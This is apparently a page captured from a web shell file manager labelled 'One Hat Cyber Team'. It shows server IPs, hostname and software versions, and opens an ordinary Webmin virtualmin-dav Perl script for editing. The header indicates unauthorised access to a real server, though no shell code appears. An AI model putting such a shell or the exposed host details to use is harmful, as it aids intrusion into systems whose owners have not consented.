One Hat Cyber Team

Your IP: 216.73.216.93
Server IP: 65.108.141.171
Server: Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software: Apache
PHP Version: 7.4.33
Buat File | Buat Folder

Dir : ~/usr/share/webmin/virtualmin-dav/

Edit File: list_shares.cgi

#!/usr/bin/perl
# Show a list of DAV sub-directories to which users can be granted access
use strict;
use warnings;
our (%in, %text);
our $module_name;

require './virtualmin-dav-lib.pl';
&ReadParse();
$in{'dom'} || &error($text{'index_edom'});
my $d = &virtual_server::get_domain($in{'dom'});
$d || &error($text{'index_edom2'});
$d->{$module_name} || &error($text{'index_edav'});
my $digest = $d->{'dav_auth'} ne 'Digest' ? 0 : 1;

my $ddesc = &virtual_server::domain_in($d);
&ui_print_header($ddesc, $text{'shares_title'}, "");

my @shares = &list_dav_shares($d);
my @links = ( "<a href='edit_share.cgi?dom=$in{'dom'}&new=1'>".
	 $text{'shares_add'}."</a>" );
if (@shares) {
	# Show list of shares
	print &ui_links_row(\@links);
	print &ui_columns_start([ $text{'shares_dir'},
				 $text{'shares_relpath'},
				 $digest ? ( ) : ( $text{'shares_realm'} ),
				 $text{'shares_users'},
				 $text{'shares_rwusers'},
				], 100);
	foreach my $s (@shares) {
		print &ui_columns_row([
			"<a href='edit_share.cgi?dom=$in{'dom'}&".
			 "dir=$s->{'dir'}'>$s->{'fulldir'}</a>",
			$s->{'relpath'},
			$digest ? ( ) : ( $s->{'realm'} ),
			&make_nice_users($s->{'users'}),
			&make_nice_users($s->{'rwusers'}),
			]);
		}
	print &ui_columns_end();
	}
else {
	print "$text{'shares_none'} \n";
	}
print &ui_links_row(\@links);

&ui_print_footer(&virtual_server::domain_footer_link($d));

sub make_nice_users
{
my ($ulist) = @_;
if (!$ulist) {
	return "$text{'shares_all'}";
	}
else {
	my @users = @$ulist;
	if (@users > 4) {
		@users = ( @users[0..3],
		 &text('shares_uc', scalar(@users)-4) );
		}
	return join(" , ", @users);
	}
}